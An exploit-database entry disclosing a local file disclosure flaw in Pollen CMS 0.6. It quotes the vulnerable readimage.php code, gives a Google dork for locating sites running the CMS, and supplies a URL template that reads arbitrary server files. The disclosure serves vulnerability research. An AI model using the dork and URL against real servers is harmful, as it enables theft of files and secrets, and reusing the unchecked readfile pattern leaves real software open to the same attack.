Pollen CMS 0.6 (index.php, p param) - Local File Disclosure

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Pollen CMS 0.6 (index.php, p param) - Local File Disclosure
# Published : 2013-04-02
# Author :
# Previous Title : WordPress Count per Day Plugin 3.2.5 (counter.php) - XSS Vulnerability
# Next Title : Network Weathermap 0.97a (editor.php) - Persistent XSS

# Title: Pollen CMS <= 0.6 - Local File Disclosure
# Google Dork: intext:"Powered by Pollen CMS"
# Date: 25 Mars 2013
# Exploit Author: MizoZ
# Vendor Homepage: pollencms.com (BROKEN)
# Software Link: https://code.google.com/p/pollencms/
# Version: 0.6
# Tested on: Ubuntu Desktop 12.04

-- File "[path]/core/lib/readimage.php"

02 - $image=urldecode($_GET["image"]);
03 - if(is_file($image)){
04 - header("Pragma: no-cache");
05 - header("Expires: 0");
06 - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
07 - header("Cache-Control: no-cache, must-revalidate");
08 - header("Content-type: image/jpg");
09 - readfile($image);
10 - }else{
11 - header("HTTP/1.0 404 Not Found");
12 - }


-- Problem

   The script only verifies the existence of the given file.


-- Exploit
http://<server>/<path>/core/lib/readimage.php?image=[php urlencoded path to file]